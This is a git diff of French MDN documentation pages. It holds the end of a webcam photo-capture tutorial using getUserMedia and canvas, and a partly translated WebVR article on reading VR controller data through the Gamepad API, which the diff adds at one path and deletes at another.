La première chose dont vous avez besoin pour accéder à la webcam en utilisant WebRTC est un élément {{HTMLElement("video")}} et un élément {{HTMLElement("canvas")}} dans la page. L'élément video reçoit un flux de WebRTC et l'élément canvas est nécessaire pour capture l'image de la vidéo. Nous ajoutons aussi une image qui sera par la suite remplacée par la capture de la webcam.

+
<video id="video"></video>
+<button id="startbutton">Prendre une photo</button>
+<canvas id="canvas"></canvas>
+<img src="http://placekitten.com/g/320/261" id="photo" alt="photo">
+
+

Le script complet

+

Voice le JavaScript complet en un seul morceau. Nous allons expliquer chaque section en détail ci-après.

+
(function() {
+
+  var streaming = false,
+      video        = document.querySelector('#video'),
+      cover        = document.querySelector('#cover'),
+      canvas       = document.querySelector('#canvas'),
+      photo        = document.querySelector('#photo'),
+      startbutton  = document.querySelector('#startbutton'),
+      width = 320,
+      height = 0;
+
+  navigator.getMedia = ( navigator.getUserMedia ||
+                         navigator.webkitGetUserMedia ||
+                         navigator.mozGetUserMedia ||
+                         navigator.msGetUserMedia);
+
+  navigator.getMedia(
+    {
+      video: true,
+      audio: false
+    },
+    function(stream) {
+      if (navigator.mozGetUserMedia) {
+        video.mozSrcObject = stream;
+      } else {
+        var vendorURL = window.URL || window.webkitURL;
+        video.src = vendorURL.createObjectURL(stream);
+      }
+      video.play();
+    },
+    function(err) {
+      console.log("An error occured! " + err);
+    }
+  );
+
+  video.addEventListener('canplay', function(ev){
+    if (!streaming) {
+      height = video.videoHeight / (video.videoWidth/width);
+      video.setAttribute('width', width);
+      video.setAttribute('height', height);
+      canvas.setAttribute('width', width);
+      canvas.setAttribute('height', height);
+      streaming = true;
+    }
+  }, false);
+
+  function takepicture() {
+    canvas.width = width;
+    canvas.height = height;
+    canvas.getContext('2d').drawImage(video, 0, 0, width, height);
+    var data = canvas.toDataURL('image/png');
+    photo.setAttribute('src', data);
+  }
+
+  startbutton.addEventListener('click', function(ev){
+      takepicture();
+    ev.preventDefault();
+  }, false);
+
+})();
+

Les explications pas à pas.

+

Voici ce qui se passe.

+

Fonction anonyme

+
(function() {
+
+  var streaming = false,
+      video        = document.querySelector('#video'),
+      cover        = document.querySelector('#cover'),
+      canvas       = document.querySelector('#canvas'),
+      photo        = document.querySelector('#photo'),
+      startbutton  = document.querySelector('#startbutton'),
+      width = 320,
+      height = 0;
+

Afin d'éviter les variables globales, on encapsule le script dans une fonction anonyme. Nous capturons les éléments du HTML dont nous avons besoin et nous définissons une largeur de vidéo à 320 et une hauteur à 0. La hauteur appropriée sera calculée plus tard.

+
+

À l'heure actuelle, il y a une différence dans les tailles de vidéo offertes par getUserMedia. Firefox Nightly utilise une résolution de 352x288 alors que Opera et Chrome utilisent une résolution de 640x400. Celà changera dans le futur, mais redimensionner avec le rapport comme nous le faisons nous épargnera des mauvaises surprises.

+
+

Obtenir la vidéo

+

Maintenant, nous devons récupérer la vidéo de la webcam. Pour l'instant c'est préfixé par les différents navigateurs, nous devons donc tester quelle forme est supportée:

+
  navigator.getMedia = ( navigator.getUserMedia ||
+                         navigator.webkitGetUserMedia ||
+                         navigator.mozGetUserMedia ||
+                         navigator.msGetUserMedia);
+

Nous demandons au navigateur de nous donner la vidéo sans le son et de récupérer le flux dans une fonction callback:

+
  navigator.getMedia(
+    {
+      video: true,
+      audio: false
+    },
+    function(stream) {
+      if (navigator.mozGetUserMedia) {
+        video.mozSrcObject = stream;
+      } else {
+        var vendorURL = window.URL || window.webkitURL;
+        video.src = vendorURL.createObjectURL(stream);
+      }
+      video.play();
+    },
+    function(err) {
+      console.log("An error occured! " + err);
+    }
+  );
+

Firefox Nightly nécessite de définir la propriété mozSrcObject de l'élément vidéo pour pouvoir le jouer; pour les autres navigateurs, définissez l'attribut src. Alors que Firefox peut utiliser les flux directement, Webkit et Opera ont besoin de créer un objet URL. Cela sera standardisé dans un futur proche.

+

Redimensionner la vidéo

+

Ensuite nous devons redimensionner la vidéo aux bonnes dimensions.

+
  video.addEventListener('canplay', function(ev){
+    if (!streaming) {
+      height = video.videoHeight / (video.videoWidth/width);
+      video.setAttribute('width', width);
+      video.setAttribute('height', height);
+      canvas.setAttribute('width', width);
+      canvas.setAttribute('height', height);
+      streaming = true;
+    }
+  }, false);
+

Nous nous abonnons à l'évènement canplay de la vidéo et lisons ses dimensions en utilisant videoHeight et videoWidth. Elles ne sont pas disponibles de manière fiable avant que l'évènement ne soit déclenché. Nous positionnons streaming à true pour faire cette vérification une seule fois vu que l'évènement canplay se déclenchera à répétition.

+

C'est tout ce qu'il faut pour jouer la vidéo.

+

Prendre une photo

+

Maintenant nous devons capturer la photo en utilisant le canvas. Nous assignons un gestionaire d'événements au bouton de démarrage pour appeler la fonction takepicture function.

+
  startbutton.addEventListener('click', function(ev){
+      takepicture();
+    ev.preventDefault();
+  }, false);
+

Dans cette fonction nous re-assignons la taille du canvas à la taille de la vidéo, ce qui l'efface,  et nous obtenons une image de la vidéo que nous copions sur le canvas. Ensuite nous devons transformer les données du canvas en une URI de données avec un entête PNG, et positionner l'attribut src de la photo à cette URL.

+
  function takepicture() {
+    canvas.width = width;
+    canvas.height = height;
+    canvas.getContext('2d').drawImage(video, 0, 0, width, height);
+    var data = canvas.toDataURL('image/png');
+    photo.setAttribute('src', data);
+  }
+
+})();
+

C'est tout ce qu'il faut pour afficher un flux de la webcam et en prendre une photo, que ce soit sur Chrome, Opera ou Firefox.

+

Support

+

Actuellement, l'accès à la caméra via WebRTC est supporté dans Chrome, Opera et Firefox Nightly 18. Activer WebRTC dans Firefox Nightly demande que vous positionnez une valeur dans la configuration:

+
    +
  • Entrez "about:config" dans la barre d'adresse et confirmez les changements
    • +
  • Trouver l'entrée "media.navigator.enabled" et positionnez la à true
    • +
diff --git a/files/fr/web/api/webvr_api/using_vr_controllers_with_webvr/index.html b/files/fr/web/api/webvr_api/using_vr_controllers_with_webvr/index.html new file mode 100644 index 0000000000..36b68601ff --- /dev/null +++ b/files/fr/web/api/webvr_api/using_vr_controllers_with_webvr/index.html @@ -0,0 +1,257 @@ +--- +title: Utiliser des contrôleurs de réalité virtuelle pour du WebVR +slug: Web/API/WebVR_API/Utiliser_des_contrôleurs_de_realite_virtuelle_pour_du_WebVR +translation_of: Web/API/WebVR_API/Using_VR_controllers_with_WebVR +--- +
{{APIRef("WebVR API")}}
+ +

La plupart des matériels de WebVR possède des contrôleurs qui viennent avec le casque de réalité virtuelle. Ceux-ci peuvent être utilisés dans les application WebVR grâce à l'API Gamepad, et plus spécifiquement avec l'API Gamepad Extensions qui ajoute des API pour accéder, entre autres, à la position du controller, au retour haptique, etc.. Cet article fournit les bases pour utiliser ces API.

+ +

L'API WebVR

+ +

L'API WebVR est jeune mais possède déjà des fonctionnalités très interressantes pour le web et pour que les développeur·euse·s puisse créer des expériences de réalité virtuelle sur le web. Cela est possible grâce à un accès aux données des casques de réalité virtuelle connectés à votre ordinateur. Ceux-ci seront indentifié comme des objets {{domxref("VRDisplay")}},que vous pourrez manipuler pour commencer et arrêter l'affichage dans le casque, récupérer des données de mouvement (orientation, position...) qui pourront être utilisés pour mettre à jour l'affichage d'une animation, par exemple.

+ +

Avant de commencer, vous devriez être déjà avoir des bases de l'API WebVR. Si ce n'est pas le cas, allez lire l'article Utiliser l'API WebVR, vous aurez également des détails sur la compatibilité des navigateurs web ou du matériel nécessaire.

+ +

L'API Gamepad

+ +

L'API Gamepad est une API assez bien compatible, qui donne aux développeur·euse·s l'accès aux manettes de jeu, connectés à leur ordinateur et de les utilisé dans dans applications web. Les contrôleurs peuvent basiquement être accessible comme des objets {{domxref("Gamepad")}}, avec lesquels nous pouvons faire des requêtes pour savoir quels boutons sont appuyés ou quels joystick sont actionnés, etc..

+ +

Vous pouvez avoir plus d'information sur l'usage de API de base des Gamepad avec l'article Utilisez l'API Gamepad, et Implementer des contrôles en utilisant l'API Gamepad.

+ +

Dans cet article, nous allons nous attardez sur les nouvelles fonctionnalités offertes dans l'API {{specname("GamepadExtensions")}}, laquelle donne accès à des informations avancés comme des données de position ou d'orientation, ou encore contrôler les retours haptiques (vibrations), et bien plus. Cette API est toute nouvelle et, pour l'instant, seulement disponible dans les versions Beta ou Nightly de Firefox 55 (et suppérieur).

+ +

Types de contrôlleurs

+ +

Il y a deux principaux types de contrôleurs utilisés pour la réalité virtuelle :

+ +
    +
  • les "6DoF" (six degrés de liberté) sont des contrôleurs qui donne accès aux informations de position et d'orientation. Un exemple notable serait les manettes du HTC Vive.
    • +
  • les "3DoF" (trois degrés de liberté) sont des contrôleurs qui donne uniquement accès aux informations d'orientation. Un exemple notable serait la manette du Google Daydream, qui peut être tourné pour sélectionner des objets 3D comme un pointeur laser, mais ne peux être bougé dans la scène 3D.
    • +
+ +

Basic controller access

+ +

Now onto some code. Let's look first at the basics of how we get access to VR controllers with the Gamepad API. There are a few strange nuances to bear in mind here, so it is worth taking a look.

+ +

We've written up a simple example to demonstrate — see our vr-controller-basic-info source code (see it running live here also). This demo simply outputs information on the VR displays and gamepads connected to your computer.

+ +

Getting the display information

+ +

The first notable code is as follows:

+ +
var initialRun = true;
+
+if(navigator.getVRDisplays && navigator.getGamepads) {
+  info.textContent = 'WebVR API and Gamepad API supported.'
+  reportDisplays();
+} else {
+  info.textContent = 'WebVR API and/or Gamepad API not supported by this browser.'
+}
+ +

Here we first use a tracking variable, initialRun, to note that this is the first time we have loaded the page. You'll find out more about this later on. Next, we detect to see if the WebVR and Gamepad APIs are supported by cheking for the existence of the {{domxref("Navigator.getVRDisplays()")}} and {{domxref("Navigator.getGamepads()")}} methods. If so, we run our reportDisplays() custom function to start the process off. This function looks like so:

+ +
function reportDisplays() {
+  navigator.getVRDisplays().then(function(displays) {
+      console.log(displays.length + ' displays');
+    for(var i = 0; i < displays.length; i++) {
+      var cap = displays[i].capabilities;
+      // cap is a VRDisplayCapabilities object
+      var listItem = document.createElement('li');
+      listItem.innerHTML = '<strong>Display ' + (i+1) + '</strong>'
+                   + '<br>VR Display ID: ' + displays[i].displayId
+                   + '<br>VR Display Name: ' + displays[i].displayName
+                   + '<br>Display can present content: ' + cap.canPresent
+                   + '<br>Display is separate from the computer\'s main display: ' + cap.hasExternalDisplay
+                   + '<br>Display can return position info: ' + cap.hasPosition
+                   + '<br>Display can return orientation info: ' + cap.hasOrientation
+                   + '<br>Display max layers: ' + cap.maxLayers;
+      list.appendChild(listItem);
+    }
+
+    setTimeout(reportGamepads, 1000);
+    // For VR, controllers will only be active after their corresponding headset is active
+  });
+}
+ +

This function first uses the promise-based {{domxref("Navigator.getVRDisplays()")}} method, which resolves with an array containing {{domxref("VRDisplay")}} objects representing the connected displays. Next, it prints out each display's {{domxref("VRDisplay.displayId")}} and {{domxref("VRDisplay.displayName")}} values, and a number of useful values contained in the display's associated {{domxref("VRCapabilities")}} object. The most useful of these are {{domxref("VRCapabilities.hasOrientation","hasOrientation")}} and {{domxref("VRCapabilities.hasPosition","hasPosition")}}, which allow you to detect whether the device can return orientation and position data and set up your app accordingly.

+ +

The last line contained in this function is a {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}} call, which runs the reportGamepads() function after a 1 second delay. Why do we need to do this? First of all, VR controllers will only be ready after their associated VR headset is active, so we need to invoke this after getVRDisplays() has been called and returned the display information. Second, the Gamepad API is much older than the WebVR API, and not promise-based. As you'll see later, the getGamepads() method is synchronous, and just returns the Gamepad objects immediately — it doesn't wait for the controller to be ready to report information. Unless you wait for a little while, returned information may not be accurate (at least, this is what we found in our tests).

+ +

Getting the Gamepad information

+ +

The reportGamepads() function looks like this:

+ +
function reportGamepads() {
+    var gamepads = navigator.getGamepads();
+    console.log(gamepads.length + ' controllers');
+    for(var i = 0; i < gamepads.length; ++i) {
+        var gp = gamepads[i];
+    var listItem = document.createElement('li');
+    listItem.classList = 'gamepad';
+    listItem.innerHTML = '<strong>Gamepad ' + gp.index + '</strong> (' + gp.id + ')'
+                 + '<br>Associated with VR Display ID: ' + gp.displayId
+                 + '<br>Gamepad associated with which hand: ' + gp.hand
+                 + '<br>Available haptic actuators: ' + gp.hapticActuators.length
+                 + '<br>Gamepad can return position info: ' + gp.pose.hasPosition
+                 + '<br>Gamepad can return orientation info: ' + gp.pose.hasOrientation;
+    list.appendChild(listItem);
+  }
+  initialRun = false;
+}
+ +

This works in a similar manner to reportDisplays() — we get an array of {{domxref("Gamepad")}} objects using the non-promise-based getGamepads() method, then cycle through each one and print out information on each:

+ +
    +
  • The {{domxref("Gamepad.displayId")}} property is the same as the displayId of the headet the controller is associated with, and therefore useful for tying controller and headset information together.
    • +
  • The {{domxref("Gamepad.index")}} property is unique numerical index that identifies each connected controller.
    • +
  • {{domxref("Gamepad.hand")}} returns which hand the controller is expected to be held in.
    • +
  • {{domxref("Gamepad.hapticActuators")}} returns an array of the haptic actuators available in the controller. Here we are returning its length so we can see how many each has available.
    • +
  • Finally, we return {{domxref("GamepadPose.hasPosition")}} and {{domxref("GamepadPose.hasOrientation")}} to show whether the controller can return position and orientation data. This works just the same as for the displays, except that in the case of gamepads these values are available on the pose object, not the capabilities object.
    • +
+ +

Note that we also gave each list item containing controller information a class name of gamepad. We'll explain what this is for later.

+ +

The last thing to do here is set the initialRun variable to false, as the initial run is now over.

+ +

Gamepad events

+ +

To finish off this section, we'll look at the gamepad-associated events. There are two we need concern ourselves with — {{event("gamepadconnected")}} and {{event("gamepaddisconnected")}} — and it is fairly obvious what they do.

+ +

At the end of our example we first include the removeGamepads() function:

+ +
function removeGamepads() {
+    var gpLi = document.querySelectorAll('.gamepad');
+    for(var i = 0; i < gpLi.length; i++) {
+    list.removeChild(gpLi[i]);
+    }
+
+    reportGamepads();
+}
+ +

This function simply grabs references to all list items with a class name of gamepad, and removes them from the DOM. Then it re-runs reportGamepads() to populate the list with the updated list of connected controllers.

+ +

removeGamepads() will be run each time a gamepad is connected or disconnected, via the following event handlers:

+ +
window.addEventListener('gamepadconnected', function(e) {
+  info.textContent = 'Gamepad ' + e.gamepad.index + ' connected.';
+  if(!initialRun) {
+      setTimeout(removeGamepads, 1000);
+  }
+});
+
+window.addEventListener('gamepaddisconnected', function(e) {
+  info.textContent = 'Gamepad ' + e.gamepad.index + ' disconnected.';
+  setTimeout(removeGamepads, 1000);
+});
+ +

We have setTimeout() calls in place here — like we did with the initialization code at the top of the script — to make sure that the gamepads are ready to report their information when reportGamepads() is called in each case.

+ +

But there's one more thing to note — you'll see that inside the gamepadconnected handler, the timeout is only run if initialRun is false. This is because if your gamepads are connected when the document first loads, gamepadconnected is fired once for each gamepad, therefore removeGamepads()/reportGamepads() will be run several times. This could lead to inaccurate results, therefore we only want to run removeGamepads() inside the gamepadconnected handler after the initial run, not during it. This is what initialRun is for.

+ +

Introducing a real demo

+ +

Now let's look at the Gamepad API being used inside a real WebVR demo. You can find this demo at raw-webgl-controller-example (see it live here also).

+ +

In exactly the same way as our raw-webgl-example (see Using the WebVR API for details), this renders a spinning 3D cube, which you can choose to present in a VR display. The only difference is that, while in VR presenting mode, this demo allows you to move the cube by moving a VR controller (the original demo moves the cube as you move your VR headset).

+ +

We'll explore the code differences in this version below — see webgl-demo.js.

+ +

Accessing the gamepad data

+ +

Inside the drawVRScene() function, you'll find this bit of code:

+ +
var gamepads = navigator.getGamepads();
+var gp = gamepads[0];
+
+if(gp) {
+  var gpPose = gp.pose;
+  var curPos = gpPose.position;
+  var curOrient = gpPose.orientation;
+  if(poseStatsDisplayed) {
+    displayPoseStats(gpPose);
+  }
+}
+ +

Here we get the connected gamepads with {{domxref("Navigator.getGamepads")}}, then store the first gamepad detected in the gp variable. As we only need one gamepad for this demo, we'll just ignore the others.

+ +

The next thing we do is to get the {{domxref("GamepadPose")}} object for the controller stored in gpPose (by querying {{domxref("Gamepad.pose")}}), and also store the current gamepad position and orientation for this frame in variables so they are easuy to access later. We also display the post stats for this frame in the DOM using the displayPoseStats() function. All of this is only done if gp actually has a value (if a gamepad is connected), which stops the demo erroring if we don't have our gamepad connected.

+ +

Slightly later in the code, you can find this block:

+ +
if(gp && gpPose.hasPosition) {
+  mvTranslate([
+                0.0 + (curPos[0] * 15) - (curOrient[1] * 15),
+                0.0 + (curPos[1] * 15) + (curOrient[0] * 15),
+                -15.0 + (curPos[2] * 25)
+             ]);
+} else if(gp) {
+  mvTranslate([
+                0.0 + (curOrient[1] * 15),
+                0.0 + (curOrient[0] * 15),
+                -15.0
+             ]);
+} else {
+  mvTranslate([
+                0.0,
+                0.0,
+                -15.0
+             ]);
+}
+ +

Here we alter the position of the cube on the screen according to the {{domxref("GamepadPose.position","position")}} and {{domxref("GamepadPose.orientation","orientation")}} data received from the connected controller. These values (stored in curPos and curOrient) are {{domxref("Float32Array")}}s containing the X, Y, and Z values (here we are just using [0] which is X, and [1] which is Y).

+ +

If the gp variable has a Gamepad object inside it and it can return position values (gpPose.hasPosition), indicating a 6DoF controller, we modify the cube position using position and orientation values. If only the former is true, indicating a 3DoF controller, we modify the cube position using the orientation values only. If there is no gamepad connected, we don't modify the cube position at all.

+ +

Displaying the gamepad pose data

+ +

In the displayPoseStats() function, we grab all of the data we want to display out of the {{domxref("GamepadPose")}} object passed into it, then print them into the UI panel that exists in the demo for displaying such data:

+ +
function displayPoseStats(pose) {
+  var pos = pose.position;
+  var orient = pose.orientation;
+  var linVel = pose.linearVelocity;
+  var linAcc = pose.linearAcceleration;
+  var angVel = pose.angularVelocity;
+  var angAcc = pose.angularAcceleration;
+
+  if(pose.hasPosition) {
+    posStats.textContent = 'Position: x ' + pos[0].toFixed(3) + ', y ' + pos[1].toFixed(3) + ', z ' + pos[2].toFixed(3);
+  } else {
+    posStats.textContent = 'Position not reported';
+  }
+
+  if(pose.hasOrientation) {
+    orientStats.textContent = 'Orientation: x ' + orient[0].toFixed(3) + ', y ' + orient[1].toFixed(3) + ', z ' + orient[2].toFixed(3);
+  } else {
+    orientStats.textContent = 'Orientation not reported';
+  }
+
+  linVelStats.textContent = 'Linear velocity: x ' + linVel[0].toFixed(3) + ', y ' + linVel[1].toFixed(3) + ', z ' + linVel[2].toFixed(3);
+  angVelStats.textContent = 'Angular velocity: x ' + angVel[0].toFixed(3) + ', y ' + angVel[1].toFixed(3) + ', z ' + angVel[2].toFixed(3);
+
+  if(linAcc) {
+    linAccStats.textContent = 'Linear acceleration: x ' + linAcc[0].toFixed(3) + ', y ' + linAcc[1].toFixed(3) + ', z ' + linAcc[2].toFixed(3);
+  } else {
+    linAccStats.textContent = 'Linear acceleration not reported';
+  }
+
+  if(angAcc) {
+    angAccStats.textContent = 'Angular acceleration: x ' + angAcc[0].toFixed(3) + ', y ' + angAcc[1].toFixed(3) + ', z ' + angAcc[2].toFixed(3);
+  } else {
+    angAccStats.textContent = 'Angular acceleration not reported';
+  }
+}
+ +

Summary

+ +

This article has given you a very basic idea of how to use the Gamepad Extensions to use VR controllers inside WebVR apps. In a real app you'd probably have a much more complex control system in effect, with controls assigned to the buttons on the VR controllers, and the display being affected by both the display pose and the controller poses simultaneously. Here however, we just wanted to isolate the pure Gamepad Extensions parts of that.

+ +

See also

+ + diff --git "a/files/fr/web/api/webvr_api/utiliser_des_contr\303\264leurs_de_realite_virtuelle_pour_du_webvr/index.html" "b/files/fr/web/api/webvr_api/utiliser_des_contr\303\264leurs_de_realite_virtuelle_pour_du_webvr/index.html" deleted file mode 100644 index 36b68601ff..0000000000 --- "a/files/fr/web/api/webvr_api/utiliser_des_contr\303\264leurs_de_realite_virtuelle_pour_du_webvr/index.html" +++ /dev/null @@ -1,257 +0,0 @@ ---- -title: Utiliser des contrôleurs de réalité virtuelle pour du WebVR -slug: Web/API/WebVR_API/Utiliser_des_contrôleurs_de_realite_virtuelle_pour_du_WebVR -translation_of: Web/API/WebVR_API/Using_VR_controllers_with_WebVR ---- -
{{APIRef("WebVR API")}}
- -

La plupart des matériels de WebVR possède des contrôleurs qui viennent avec le casque de réalité virtuelle. Ceux-ci peuvent être utilisés dans les application WebVR grâce à l'API Gamepad, et plus spécifiquement avec l'API Gamepad Extensions qui ajoute des API pour accéder, entre autres, à la position du controller, au retour haptique, etc.. Cet article fournit les bases pour utiliser ces API.

- -

L'API WebVR

- -

L'API WebVR est jeune mais possède déjà des fonctionnalités très interressantes pour le web et pour que les développeur·euse·s puisse créer des expériences de réalité virtuelle sur le web. Cela est possible grâce à un accès aux données des casques de réalité virtuelle connectés à votre ordinateur. Ceux-ci seront indentifié comme des objets {{domxref("VRDisplay")}},que vous pourrez manipuler pour commencer et arrêter l'affichage dans le casque, récupérer des données de mouvement (orientation, position...) qui pourront être utilisés pour mettre à jour l'affichage d'une animation, par exemple.

- -

Avant de commencer, vous devriez être déjà avoir des bases de l'API WebVR. Si ce n'est pas le cas, allez lire l'article Utiliser l'API WebVR, vous aurez également des détails sur la compatibilité des navigateurs web ou du matériel nécessaire.

- -

L'API Gamepad

- -

L'API Gamepad est une API assez bien compatible, qui donne aux développeur·euse·s l'accès aux manettes de jeu, connectés à leur ordinateur et de les utilisé dans dans applications web. Les contrôleurs peuvent basiquement être accessible comme des objets {{domxref("Gamepad")}}, avec lesquels nous pouvons faire des requêtes pour savoir quels boutons sont appuyés ou quels joystick sont actionnés, etc..

- -

Vous pouvez avoir plus d'information sur l'usage de API de base des Gamepad avec l'article Utilisez l'API Gamepad, et Implementer des contrôles en utilisant l'API Gamepad.

- -

Dans cet article, nous allons nous attardez sur les nouvelles fonctionnalités offertes dans l'API {{specname("GamepadExtensions")}}, laquelle donne accès à des informations avancés comme des données de position ou d'orientation, ou encore contrôler les retours haptiques (vibrations), et bien plus. Cette API est toute nouvelle et, pour l'instant, seulement disponible dans les versions Beta ou Nightly de Firefox 55 (et suppérieur).

- -

Types de contrôlleurs

- -

Il y a deux principaux types de contrôleurs utilisés pour la réalité virtuelle :

- -
    -
  • les "6DoF" (six degrés de liberté) sont des contrôleurs qui donne accès aux informations de position et d'orientation. Un exemple notable serait les manettes du HTC Vive.
    • -
  • les "3DoF" (trois degrés de liberté) sont des contrôleurs qui donne uniquement accès aux informations d'orientation. Un exemple notable serait la manette du Google Daydream, qui peut être tourné pour sélectionner des objets 3D comme un pointeur laser, mais ne peux être bougé dans la scène 3D.
    • -
- -

Basic controller access

- -

Now onto some code. Let's look first at the basics of how we get access to VR controllers with the Gamepad API. There are a few strange nuances to bear in mind here, so it is worth taking a look.

- -

We've written up a simple example to demonstrate — see our vr-controller-basic-info source code (see it running live here also). This demo simply outputs information on the VR displays and gamepads connected to your computer.

- -

Getting the display information

- -

The first notable code is as follows:

- -
var initialRun = true;
-
-if(navigator.getVRDisplays && navigator.getGamepads) {
-  info.textContent = 'WebVR API and Gamepad API supported.'
-  reportDisplays();
-} else {
-  info.textContent = 'WebVR API and/or Gamepad API not supported by this browser.'
-}
- -

Here we first use a tracking variable, initialRun, to note that this is the first time we have loaded the page. You'll find out more about this later on. Next, we detect to see if the WebVR and Gamepad APIs are supported by cheking for the existence of the {{domxref("Navigator.getVRDisplays()")}} and {{domxref("Navigator.getGamepads()")}} methods. If so, we run our reportDisplays() custom function to start the process off. This function looks like so:

- -
function reportDisplays() {
-  navigator.getVRDisplays().then(function(displays) {
-      console.log(displays.length + ' displays');
-    for(var i = 0; i < displays.length; i++) {
-      var cap = displays[i].capabilities;
-      // cap is a VRDisplayCapabilities object
-      var listItem = document.createElement('li');
-      listItem.innerHTML = '<strong>Display ' + (i+1) + '</strong>'
-                   + '<br>VR Display ID: ' + displays[i].displayId
-                   + '<br>VR Display Name: ' + displays[i].displayName
-                   + '<br>Display can present content: ' + cap.canPresent
-                   + '<br>Display is separate from the computer\'s main display: ' + cap.hasExternalDisplay
-                   + '<br>Display can return position info: ' + cap.hasPosition
-                   + '<br>Display can return orientation info: ' + cap.hasOrientation
-                   + '<br>Display max layers: ' + cap.maxLayers;
-      list.appendChild(listItem);
-    }
-
-    setTimeout(reportGamepads, 1000);
-    // For VR, controllers will only be active after their corresponding headset is active
-  });
-}
- -

This function first uses the promise-based {{domxref("Navigator.getVRDisplays()")}} method, which resolves with an array containing {{domxref("VRDisplay")}} objects representing the connected displays. Next, it prints out each display's {{domxref("VRDisplay.displayId")}} and {{domxref("VRDisplay.displayName")}} values, and a number of useful values contained in the display's associated {{domxref("VRCapabilities")}} object. The most useful of these are {{domxref("VRCapabilities.hasOrientation","hasOrientation")}} and {{domxref("VRCapabilities.hasPosition","hasPosition")}}, which allow you to detect whether the device can return orientation and position data and set up your app accordingly.

- -

The last line contained in this function is a {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}} call, which runs the reportGamepads() function after a 1 second delay. Why do we need to do this? First of all, VR controllers will only be ready after their associated VR headset is active, so we need to invoke this after getVRDisplays() has been called and returned the display information. Second, the Gamepad API is much older than the WebVR API, and not promise-based. As you'll see later, the getGamepads() method is synchronous, and just returns the Gamepad objects immediately — it doesn't wait for the controller to be ready to report information. Unless you wait for a little while, returned information may not be accurate (at least, this is what we found in our tests).

- -

Getting the Gamepad information

- -

The reportGamepads() function looks like this:

- -
function reportGamepads() {
-    var gamepads = navigator.getGamepads();
-    console.log(gamepads.length + ' controllers');
-    for(var i = 0; i < gamepads.length; ++i) {
-        var gp = gamepads[i];
-    var listItem = document.createElement('li');
-    listItem.classList = 'gamepad';
-    listItem.innerHTML = '<strong>Gamepad ' + gp.index + '</strong> (' + gp.id + ')'
-                 + '<br>Associated with VR Display ID: ' + gp.displayId
-                 + '<br>Gamepad associated with which hand: ' + gp.hand
-                 + '<br>Available haptic actuators: ' + gp.hapticActuators.length
-                 + '<br>Gamepad can return position info: ' + gp.pose.hasPosition
-                 + '<br>Gamepad can return orientation info: ' + gp.pose.hasOrientation;
-    list.appendChild(listItem);
-  }
-  initialRun = false;
-}
- -

This works in a similar manner to reportDisplays() — we get an array of {{domxref("Gamepad")}} objects using the non-promise-based getGamepads() method, then cycle through each one and print out information on each:

- -
    -
  • The {{domxref("Gamepad.displayId")}} property is the same as the displayId of the headet the controller is associated with, and therefore useful for tying controller and headset information together.
    • -
  • The {{domxref("Gamepad.index")}} property is unique numerical index that identifies each connected controller.
    • -
  • {{domxref("Gamepad.hand")}} returns which hand the controller is expected to be held in.
    • -
  • {{domxref("Gamepad.hapticActuators")}} returns an array of the haptic actuators available in the controller. Here we are returning its length so we can see how many each has available.
    • -
  • Finally, we return {{domxref("GamepadPose.hasPosition")}} and {{domxref("GamepadPose.hasOrientation")}} to show whether the controller can return position and orientation data. This works just the same as for the displays, except that in the case of gamepads these values are available on the pose object, not the capabilities object.
    • -
- -

Note that we also gave each list item containing controller information a class name of gamepad. We'll explain what this is for later.

- -

The last thing to do here is set the initialRun variable to false, as the initial run is now over.

- -

Gamepad events

- -

To finish off this section, we'll look at the gamepad-associated events. There are two we need concern ourselves with — {{event("gamepadconnected")}} and {{event("gamepaddisconnected")}} — and it is fairly obvious what they do.

- -

At the end of our example we first include the removeGamepads() function:

- -
function removeGamepads() {
-    var gpLi = document.querySelectorAll('.gamepad');
-    for(var i = 0; i < gpLi.length; i++) {
-    list.removeChild(gpLi[i]);
-    }
-
-    reportGamepads();
-}
- -

This function simply grabs references to all list items with a class name of gamepad, and removes them from the DOM. Then it re-runs reportGamepads() to populate the list with the updated list of connected controllers.

- -

removeGamepads() will be run each time a gamepad is connected or disconnected, via the following event handlers:

- -
window.addEventListener('gamepadconnected', function(e) {
-  info.textContent = 'Gamepad ' + e.gamepad.index + ' connected.';
-  if(!initialRun) {
-      setTimeout(removeGamepads, 1000);
-  }
-});
-
-window.addEventListener('gamepaddisconnected', function(e) {
-  info.textContent = 'Gamepad ' + e.gamepad.index + ' disconnected.';
-  setTimeout(removeGamepads, 1000);
-});
- -

We have setTimeout() calls in place here — like we did with the initialization code at the top of the script — to make sure that the gamepads are ready to report their information when reportGamepads() is called in each case.

- -

But there's one more thing to note — you'll see that inside the gamepadconnected handler, the timeout is only run if initialRun is false. This is because if your gamepads are connected when the document first loads, gamepadconnected is fired once for each gamepad, therefore removeGamepads()/reportGamepads() will be run several times. This could lead to inaccurate results, therefore we only want to run removeGamepads() inside the gamepadconnected handler after the initial run, not during it. This is what initialRun is for.

- -

Introducing a real demo

- -

Now let's look at the Gamepad API being used inside a real WebVR demo. You can find this demo at raw-webgl-controller-example (see it live here also).

- -

In exactly the same way as our raw-webgl-example (see Using the WebVR API for details), this renders a spinning 3D cube, which you can choose to present in a VR display. The only difference is that, while in VR presenting mode, this demo allows you to move the cube by moving a VR controller (the original demo moves the cube as you move your VR headset).

- -

We'll explore the code differences in this version below — see webgl-demo.js.

- -

Accessing the gamepad data

- -

Inside the drawVRScene() function, you'll find this bit of code:

- -
var gamepads = navigator.getGamepads();
-var gp = gamepads[0];
-
-if(gp) {
-  var gpPose = gp.pose;
-  var curPos = gpPose.position;
-  var curOrient = gpPose.orientation;
-  if(poseStatsDisplayed) {
-    displayPoseStats(gpPose);
-  }
-}
- -

Here we get the connected gamepads with {{domxref("Navigator.getGamepads")}}, then store the first gamepad detected in the gp variable. As we only need one gamepad for this demo, we'll just ignore the others.

- -

The next thing we do is to get the {{domxref("GamepadPose")}} object for the controller stored in gpPose (by querying {{domxref("Gamepad.pose")}}), and also store the current gamepad position and orientation for this frame in variables so they are easuy to access later. We also display the post stats for this frame in the DOM using the displayPoseStats() function. All of this is only done if gp actually has a value (if a gamepad is connected), which stops the demo erroring if we don't have our gamepad connected.

- -

Slightly later in the code, you can find this block:

- -
if(gp && gpPose.hasPosition) {
-  mvTranslate([
-                0.0 + (curPos[0] * 15) - (curOrient[1] * 15),
-                0.0 + (curPos[1] * 15) + (curOrient[0] * 15),
-                -15.0 + (curPos[2] * 25)
-             ]);
-} else if(gp) {
-  mvTranslate([
-                0.0 + (curOrient[1] * 15),
-                0.0 + (curOrient[0] * 15),
-                -15.0
-             ]);
-} else {
-  mvTranslate([
